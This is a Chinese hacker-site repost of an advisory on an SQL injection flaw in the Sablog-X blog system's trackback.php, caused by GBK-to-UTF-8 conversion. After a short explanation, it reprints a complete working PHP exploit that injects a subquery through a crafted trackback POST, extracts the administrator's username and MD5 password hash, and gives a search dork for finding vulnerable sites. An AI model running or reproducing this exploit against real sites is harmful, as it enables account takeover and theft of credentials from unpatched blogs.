黑客风云——风云网络
设为首页 加入收藏 我要投稿 网站地图

您现在的位置: 黑客风云 >> 黑客文章 >> 网管频道 >> 入侵检测 >> 正文
·没有路由密码权限时的鸽08-23·上网安全 Vista自我防范10-11
·让濒临崩溃的Windows XP10-11·有备无患,快速自制救急10-11
·要你好看!Windows看图工10-11·空间赞助网提供不同类型10-11
·讨论net.exe和net1.exe的10-10·让3389远程桌面传输更通10-10
·巧妙入侵渗透赌博站10-10·Aspx空间扫权限工具10-10
·Windows2003最新提权工具10-10·易淘乐提供100M免费全能10-10
·系统开机密码忘了不着急10-09·中意网络提供免费100M免10-09
·与众不同 Windows XP开始10-08·让桌面图标翻跟斗 在XP上10-08
·上海宽元站长资助计划-提10-08·个性化Windows XP的任务10-07
·趣盘提供3G免费网络硬盘10-07·秀山热线提供200MB免费全10-07
·一次艰辛的提权过程10-06·成功入侵IT大卖场的渗透10-06
·mysqlhack- MYSQL利用工10-06·lanker一句话PHP后门客户10-06
·WIXI提供3G免费多媒体网10-06·新人网络提供100M/ftp免10-06
·如何利用QQ带来高流量10-05·UuShare提供免费网络文件10-05
[推荐]安全天使sablog注入漏洞
        ★★★★

安全天使sablog注入漏洞

文章整理发布:黑客风云 文章来源:www.05112.com 更新时间:2008-8-6 11:31:44

漏洞说明:Sablog-X是一个采用PHP和MySQL构建的博客系统.作为Sablog的后继产品,Sablog-X在代码质量,运行效率,负载能力,安全等级,功能可操控性和权限严密性等方面都在原有的基础上,更上一层楼.凭借Sablog-X作者7年多的安全技术经验,4年的PHP开发经验,强于创新,追求完美的设计理念,使得Sablog-X已获得业内越来越多专家和用户的认可.但是80sec在其中的代码里发现一个安全漏洞,导致远程用户通过SQL注射获得数据库权限,甚至获得管理员权限。

漏洞厂商:http://www.sablog.net

漏洞来源:http://www.80sec.com/release/sablog-sql-injection.txt

漏洞解析:在sablog的trackback.php中的转码函数

以下是引用片段:
function iconv2utf($chs) {
global $encode;
if ($encode !=  ’utf-8’) {
if (function_exists(’mb_convert_encoding’)) {
$chs =  mb_convert_encoding($chs, ’UTF-8’, $encode);
} elseif  (function_exists(’iconv’)) {
$chs = iconv($encode, ’UTF-8’,  $chs);
}
}
return $chs;
}

存在问题,当$encode为GBK字符集的时候,用户提交%bf’将会被转化为一个正常的utf-8字符和一个单引号,如果数据未加处理进入数据库将导致SQL注射。

漏洞利用:80sec提供漏洞测试程序如下:

以下是引用片段:
#!/usr/bin/php
<?php

print_r(’
+---------------------------------------------------------------------------+
Sablog-X  <= 1.6 SQL injection / admin credentials disclosure exploit
by  puret_t
mail: puretot at gmail dot com
team:  http://www.wolvez.org
dork: "Powered by  SaBlog-X"
+---------------------------------------------------------------------------+
’);
/**
*  works regardless of php.ini settings
*/
if ($argc < 3)  {
print_r(’
+---------------------------------------------------------------------------+
Usage:  php ’.$argv[0].’ host path code
host: target server (ip/hostname)
path:  path to sablog-x
code: the last blog trackback gbk code
Example:
php  ‘.$argv[0].’ localhost /sablog-x/  MQlnYmsJMTIxNzkyMzE0OAkw
+—————————————————————————+
‘);
exit;
}

error_reporting(7);
ini_set(’max_execution_time’, 0);

$host = $argv[1];
$path = $argv[2];
$code = $argv[3];

$arr = explode(”\t”, base64_decode($code));
if (count($arr) !=  4)
exit(”Exploit Failed!\n”);

$url = ‘http://’.$host.$path.’?action=show&id=’.$arr[0];

send();
preg_match(’#<a\shref=”1″\starget=”_blank”>([\S]+):([a-z0-9]{32})</a<#’,  file_get_contents($url), $hash);

if ($hash)
exit(”Expoilt  Success!\nadmin:\t$hash[1]\nPassword(md5):\t$hash[2]\n”);
else
exit(”Exploit  Failed!\n”);

function send()
{
global $host, $path, $code;

$cmd =  ‘url=http://’.$host.$path.’&title=ryat%bf%27,’.time().’,1,1,(SELECT  CONCAT(username,0×3a,password) FROM sablog_users WHERE  userid=1),’.time().’,1,1)#&excerpt=ryat&blog_name=ryat’;

$message = “POST “.$path.”trackback.php?code=$code HTTP/1.1\r\n”;
$message  .= “Accept: */*\r\n”;
$message .= “Accept-Language: zh-cn\r\n”;
$message  .= “Content-Type: application/x-www-form-urlencoded\r\n”;
$message .=  “User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1;  SV1)\r\n”;
$message .= “Host: $host\r\n”;
$message .= “Content-Length:  “.strlen($cmd).”\r\n”;
$message .= “Connection: Close\r\n\r\n”;
$message  .= $cmd;

$fp = fsockopen($host, 80);
fputs($fp, $message);

$resp = ”;

while ($fp && !feof($fp))
$resp .= fread($fp, 1024);

return $resp;
}

?>

漏洞状态:请等待官方补丁。

文章录入:cainiaowang    责任编辑:xinlian 
【字体:
Copyright @2006 黑客风云 ●业务联系:QQ 联系怪人 联系奇人 Email:给怪人发邮件 给奇人发邮件
ICP备案:冀06009886